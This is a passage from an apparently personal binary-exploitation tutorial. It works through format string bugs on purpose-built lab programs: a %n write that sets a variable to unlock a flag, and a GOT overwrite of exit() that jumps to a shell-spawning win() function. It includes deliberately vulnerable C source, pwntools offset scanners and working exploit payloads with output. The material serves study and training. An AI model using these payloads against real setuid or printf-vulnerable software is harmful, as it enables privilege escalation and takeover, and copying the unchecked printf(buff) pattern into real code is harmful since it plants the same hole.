FILE *f = fopen("flag.txt", "r");
if(f == NULL){
printf("flag file not found\n");
exit(1);
}
char filename[100], c;
c = fgetc(f);
while (c != EOF) {
printf ("%c", c);
c = fgetc(f); }
fclose(f);
}
}

gcc fmt_write.c -o fmt_write -no-pie

1
2
3
ls -la fmt_write flag.txt
-rw------- 1 root root 30 Jun 26 17:03 flag.txt
-rwsr-sr-x 1 root root 17088 Jun 26 17:03 fmt_write

Same as previous we want to use fmt_read to read flag.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
~ at0m ❯ checksec --file=fmt_read
[*] '/home/at0m/fmt_read'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

~ at0m ❯ ./fmt_write
Enter String - AAAAAAAA
You Entered - AAAAAAAA
Value Of Target Is - 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010c0 putchar@plt
0x00000000004010d0 puts@plt
0x00000000004010e0 fclose@plt
0x00000000004010f0 __stack_chk_fail@plt
0x0000000000401100 printf@plt
0x0000000000401110 fgetc@plt
0x0000000000401120 fopen@plt
0x0000000000401130 __isoc99_scanf@plt
0x0000000000401140 exit@plt
0x0000000000401150 _start
0x0000000000401180 _dl_relocate_static_pie
0x0000000000401190 deregister_tm_clones
0x00000000004011c0 register_tm_clones
0x0000000000401200 __do_global_dtors_aux
0x0000000000401230 frame_dummy
0x0000000000401236 main
0x0000000000401350 __libc_csu_init
0x00000000004013c0 __libc_csu_fini
0x00000000004013c8 _fini

fs_write.png

We see long assembly code most important is this part:

1
2
3
4
0x00000000004012b5 <+127>:	mov    eax,DWORD PTR [rip+0x2db9]        # 
0x404074 <target>
0x00000000004012bb <+133>: cmp eax,0x3
0x00000000004012be <+136>: jne 0x401331 <main+251>

It loads the value of the target variable which address is 0x404074 into eax and then compares it to 3.

If target != 3, it jumps to another location in the program. Otherwise, it continues normally and you can see its using fopen function later on possibly meaning opening flag.txt file.

So In this challenge we will need to use write format string vulnerability to write 3 into target variable. This time we will use %n format specifier.

Like before we need to find our position of our input in stack with same as before python script:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from pwn import *

context.log_level = 'error'

for i in range(1, 50):
io = process('./fmt_write')
payload = f'AAAAAAAA%{i}$p'
io.sendline(payload)
print(io.recvall(),i)
io.close()
1
2
3
4
5
6
❯ python3 main.py
/home/at0m/main.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline(payload)
<SNIP>
b'Enter String - You Entered - AAAAAAAA0x4141414141414141\nValue Of Target Is - 0\n' 8
<SNIP>

This time offset or position is in 8. Read in 0xE section how %n works first.

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3

from pwn import *

context.binary = './fmt_write'

io = process('./fmt_write')
payload = b'ABC%9$nD' + pack(0x404074)
io.sendline(payload)
io.interactive()

This makes printf write the number of printed characters so far (3 from 'ABC') into the address 0x404074 (the target variable), using %9$n, where the 9th argument on the stack is the packed address. We added D at end to make it 8 bytes as it is good practice.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ python3 main.py
[*] '/home/at0m/fmt_write'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process './fmt_write': pid 7202
[*] Switching to interactive mode
[*] Process './fmt_write' stopped with exit code 0 (pid 7202)
Enter String - You Entered - ABCDt@@
Value Of Target Is - 3
FLAG{Wr1t3_Wh3r3_Y0u_W4nt_t0}
[*] Got EOF while reading in interactive

We got the flag.

0x11 - GOT Overwrite Using Format String Vulnerability

This technique can spawn us shell also.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<stdlib.h>

void win() {
puts("\033[1;31m[+] PWNED!!!\033[0m");
execl("/bin/sh", "sh", "-c", "/bin/sh", (char *)0);
}

void main() {
char buff[50];
printf("Enter String - ");
scanf("%50s",&buff);
printf(buff);
exit(0);
}

gcc fmt_got.c -o fmt_got -no-pie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ls -la fmt_got           
-rwsr-sr-x 1 root root 16864 Jun 26 17:03 fmt_got

❯ checksec --file=fmt_got
[*] '/home/at0m/fmt_got'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

❯ ./fmt_got
Enter String - AAAAAAAAAA
AAAAAAAAAA

We need to exploit program and spawn us a shell. We can see that it has canary disabled it means we can do buffer overflow but we are not going to use that technique here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401080 puts@plt
0x0000000000401090 printf@plt
0x00000000004010a0 __isoc99_scanf@plt
0x00000000004010b0 exit@plt
0x00000000004010c0 execl@plt
0x00000000004010d0 _start
0x0000000000401100 _dl_relocate_static_pie
0x0000000000401110 deregister_tm_clones
0x0000000000401140 register_tm_clones
0x0000000000401180 __do_global_dtors_aux
0x00000000004011b0 frame_dummy
0x00000000004011b6 win
0x00000000004011f9 main
0x0000000000401260 __libc_csu_init
0x00000000004012d0 __libc_csu_fini
0x00000000004012d8 _fini
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> disass win
Dump of assembler code for function win:
0x00000000004011b6 <+0>: endbr64
0x00000000004011ba <+4>: push rbp
0x00000000004011bb <+5>: mov rbp,rsp
0x00000000004011be <+8>: lea rdi,[rip+0xe3f] # 0x402004
0x00000000004011c5 <+15>: call 0x401080 <puts@plt>
0x00000000004011ca <+20>: mov r8d,0x0
0x00000000004011d0 <+26>: lea rcx,[rip+0xe45] # 0x40201c
0x00000000004011d7 <+33>: lea rdx,[rip+0xe46] # 0x402024
0x00000000004011de <+40>: lea rsi,[rip+0xe42] # 0x402027
0x00000000004011e5 <+47>: lea rdi,[rip+0xe30] # 0x40201c
0x00000000004011ec <+54>: mov eax,0x0
0x00000000004011f1 <+59>: call 0x4010c0 <execl@plt>
0x00000000004011f6 <+64>: nop
0x00000000004011f7 <+65>: pop rbp
0x00000000004011f8 <+66>: ret
End of assembler dump.

We can see its executing something using execl@plt. Lets examine rdi register 0x40201c.

1
2
pwndbg> x/s 0x40201c
0x40201c: "/bin/sh"

Its calling /bin/sh, this is mostly a ret2win like challenge where we need to call win function and that will spawn us a shell. If we disassemble main function we can see its not calling win function anywhere so we have to manually call it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004011f9 <+0>: endbr64
0x00000000004011fd <+4>: push rbp
0x00000000004011fe <+5>: mov rbp,rsp
0x0000000000401201 <+8>: sub rsp,0x40
0x0000000000401205 <+12>: mov rax,QWORD PTR fs:0x28
0x000000000040120e <+21>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401212 <+25>: xor eax,eax
0x0000000000401214 <+27>: lea rdi,[rip+0xe0f] # 0x40202a
0x000000000040121b <+34>: mov eax,0x0
0x0000000000401220 <+39>: call 0x401090 <printf@plt>
0x0000000000401225 <+44>: lea rax,[rbp-0x40]
0x0000000000401229 <+48>: mov rsi,rax
0x000000000040122c <+51>: lea rdi,[rip+0xe07] # 0x40203a
0x0000000000401233 <+58>: mov eax,0x0
0x0000000000401238 <+63>: call 0x4010a0 <__isoc99_scanf@plt>
0x000000000040123d <+68>: lea rax,[rbp-0x40]
0x0000000000401241 <+72>: mov rdi,rax
0x0000000000401244 <+75>: mov eax,0x0
0x0000000000401249 <+80>: call 0x401090 <printf@plt>
0x000000000040124e <+85>: mov edi,0x0
0x0000000000401253 <+90>: call 0x4010b0 <exit@plt>

We know GOT table has address of different functions here and If we can somehow change exit@plt address from GOT table and write win function GOT table address, instruction call will call to exit function on GOT table and ask give me address of exit function but GOT table will give address of our win function and we can spawn a shell which is GOT Overwrite Attack.

1
2
3
❯ ./fmt_got
Enter String - %p
0xa

As we can see its vulnerable to format string attack. As always first lets find offset or position on where our input is stored in stack.

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from pwn import *

context.log_level = 'error'

for i in range(1,50):
io = process('./fmt_got')
payload = f'AAAAAAAA%{i}$p'
io.sendline(payload)
print(io.recvall(),i)
io.close()
1
2
3
4
5
6
❯ python3 main.py
/home/at0m/main.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline(payload)
<SNIP>
b'Enter String - AAAAAAAA0x4141414141414141' 6
<SNIP>

We got our offset or position at 6 So we have to write at 7th position because 6 is our current input.

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from pwn import *

context.log_level = 'error'

elf = context.binary = ELF('./fmt_got')

io = process('./fmt_got')
payload = b'%7$n' + pack(elf.got.exit)
io.sendline(payload)
io.interactive()

In previous challenge we had to write 3 in 9th position of stack that’s why we wrote ABC%9$nD but this time we have to write address of win function that’s why we have to find win function address.

1
2
3
4
 ❯ nm ./fmt_got                     
<SNIP>
00000000004011b6 T win
<SNIP>

First lets unhex the address.

1
2
3
4
5
❯ python3
Python 3.12.3 (main, Feb 4 2025, 14:48:35) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00000000004011b6
4198838

So we will need to write 4198838 in stack. If there was no limit on input that we could give then we could normally write our exploit like this:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from pwn import *

context.log_level = 'error'

elf = context.binary = ELF('./fmt_got')

io = process('./fmt_got')
payload = 'A'*4198838 + f'%7$n' + pack(elf.got.exit)
io.sendline(payload)
io.interactive()

This would first read 'A'*4198838 which would be 4198838‘s of A and write 4198838 on stack (exit function) but in our case we have limited input so this method won’t work. Instead we could write like this:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from pwn import *

context.log_level = 'error'

elf = context.binary = ELF('./fmt_got')

io = process('./fmt_got')
payload = b'%4198838x%7$n' + pack(elf.got.exit)
io.sendline(payload)
io.interactive()

In this '%4198838x%7$n. %x will print first 4198838 character then %7$n will write this value (4198838) into the memory address provided as the 7th argument on the stack. The pack(elf.got.exit) appends the address of the exit() GOT entry in a packed (little-endian) format, placing it on the stack. Together, this causes printf() to overwrite the exit() GOT entry with the address of win(), so when exit() is called later, the program instead jumps to win() and spawns a shell.

The format string exploit has an alignment issue we need to resolve. The original payload %4198838x%7$n is 13 bytes long, which doesn’t align properly with the 8-byte stack boundaries on a 64-bit system. Since we can’t have partial stack entries, we add 3 padding bytes (AAA) to extend it to 16 bytes - a clean multiple of 8. This adjustment changes how our input is positioned on the stack. Our input starts at the 6th position, with the first 8 bytes containing most of our format string. The next 8 bytes contain the remainder of our exploit. Because we’ve now used two 8-byte stack slots (positions 6 and 7), the address we want to overwrite (exit@got) moves to the 8th position. This is why we change the format specifier from %7$n to %8$n - it now correctly points to where our target address is stored in the stack. While this padding makes the exploit slightly less elegant, it ensures proper stack alignment for reliable memory overwrites. Here is final exploit:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from pwn import *

context.log_level = 'error'

elf = context.binary = ELF('./fmt_got')

io = process('./fmt_got')
payload = b'%4198838x%8$nAAA' + pack(elf.got.exit)
io.sendline(payload)
io.interactive()

Tommorow

.misato.gif


References

Live Overflow
Software Security The Cyber Expert
Exploit.Education
Files
HackTheBox Academy
GPT